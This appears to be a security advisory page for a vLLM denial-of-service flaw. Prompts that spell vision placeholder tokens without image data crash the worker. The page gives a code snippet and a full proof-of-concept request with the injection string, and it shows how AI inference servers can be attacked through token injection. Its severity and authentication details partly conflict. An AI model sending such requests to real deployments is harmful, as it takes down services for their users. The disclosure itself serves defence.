Medium

vLLM Vulnerable to Remote DoS via Special-Token Placeholders

  • Disclosed: 05.05.2026
  • Updated: 11.10.2026 15:17

Summary

This report explains a Token Injection vulnerability in vLLM’s multimodal processing. Unauthenticated, text-only prompts that spell special tokens are interpreted as control. Image and video placeholder sequences supplied without matching data cause vLLM to index into empty grids during input-position computation, raising an unhandled IndexError and terminating the worker or degrading availability. Multimodal paths that rely on image_grid_thw/video_grid_thw are affected. Severity: High (remote DoS). Reproduced on vLLM 0.10.0 with Qwen2.5-VL.

Details

  • Affected component: multimodal input position computation.
  • File/functions (paths are indicative):
    • vllm/model_executor/layers/rotary_embedding.py
      • get_input_positions_tensor(...)
      • _vl_get_input_positions_tensor(...)
  • Failure mechanism:
    • The code counts detected vision tokens and then indexes video_grid_thw/image_grid_thw accordingly.
    • When user input carries placeholder tokens but no actual multimodal payload, these grids are empty. The code does not bounds-check before indexing.

Representative snippet (context):

python
# vllm/model_executor/layers/rotary_embedding.py
@classmethod
def _vl_get_input_positions_tensor(
    cls,
    input_tokens,
    hf_config,
    image_grid_thw,
    video_grid_thw,
    ...,
):
    # detect video tokens
    video_nums = (vision_tokens == video_token_id).sum()
    # later in processing
    t, h, w = (
        video_grid_thw[video_index][0],  # IndexError if no video data
        video_grid_thw[video_index][1],
        video_grid_thw[video_index][2],
    )

Abbreviated call path:

OpenAI API request
 → vllm.v1.engine.core: step/execute_model
 → vllm.v1.worker.gpu_model_runner: _update_states/execute_model
 → vllm.model_executor.layers.rotary_embedding: get_input_positions_tensor
 → _vl_get_input_positions_tensor
 → IndexError: list index out of range

PoC

Environment

  • vLLM: 0.10.0
  • Model: Qwen/Qwen2.5-VL-3B-Instruct
  • Launch server:
bash
python -m vllm.entrypoints.openai.api_server \
  --model Qwen/Qwen2.5-VL-3B-Instruct \
  --port 8000

Request (text-only, no image/video data)

bash
cat > request.json <<'JSON'
{
  "model": "Qwen/Qwen2.5-VL-3B-Instruct",
  "messages": [
    {
      "role": "user",
      "content": [
        { "type": "text",
          "text": "what's in picture <|vision_start|><|image_pad|><|vision_end|>" }
      ]
    }
  ]
}
JSON

curl -s http://127.0.0.1:8000/v1/chat/completions \
  -H 'Content-Type: application/json' \
  --data @request.json

Observed result

  • HTTP 500; logs show IndexError: list index out of range from _vl_get_input_positions_tensor(...).
  • In some deployments, the worker exits and capacity remains reduced until manual restart.

Impact

  • Type: Token Injection leading to Remote Denial of Service (unauthenticated). A single request can trigger the fault.
  • Scope: Any vLLM deployment that serves VLMs and accepts raw user text via OpenAI-compatible endpoints (self-hosted or proxied/managed fronts).
  • Effect: Request → unhandled exception in position computation → worker termination / service unavailability.

Fixes

Credits

Pengyu Ding (Infra Security, Ant Group)
Ziteng Xu (Infra Security, Ant Group)

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) vllm >= 0.6.1, < 0.20.0 0.20.0

References

CVSS score 6.5/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Weakness (CWE)
CWE-129
Platform
Python (PyPI)
Package
vllm
Disclosed
05.05.2026
Updated
11.10.2026 15:17

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-3409 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-hpv8-x276-m59f - CC BY 4.0

Vulnerability history: vllm

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (94) in the archive
Total entries
94
First → latest
09.2024 10.2026
Without a fix
5
Exploited in attacks
0

Severity breakdown

  • Critical 9
  • High 23
  • Medium 47
  • Low 4
  • Unrated 11

Disclosures per year

  1. 2024: 2
  2. 2025: 30
  3. 2026: 62
Severity:
  1. High · 7.5 CVE-2026-54234 >= 0.17.1, < 0.24.0 0.24.0
  2. High CVE-2026-55514 >= 0.12.0, < 0.24.0 0.24.0
  3. Critical · 9.1 CVE-2026-48746 >= 0.3.0, < 0.22.0 0.22.0
  4. vLLM Vulnerable to Remote DoS via Special-Token Placeholders this entry
    Medium · 6.5 CVE-2026-44222 >= 0.6.1, < 0.20.0 0.20.0
  5. Critical · 9.8 CVE-2026-22778 >= 0.8.3, < 0.14.1 0.14.1
  6. High · 8.8 CVE-2026-22807 >= 0.10.1, < 0.14.0 0.14.0
  7. High · 8.8 CVE-2026-56340 >= 0.10.2, < 0.13.0 0.13.0
  8. High · 6.5 CVE-2025-62372 >= 0.5.5, < 0.11.1 0.11.1
  9. High · 8.8 CVE-2025-62164 >= 0.10.2, < 0.11.1 0.11.1
  10. High · 7.5 CVE-2025-59425 < 0.11.0 0.11.0
Show more (13) Showing 20 of 33

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.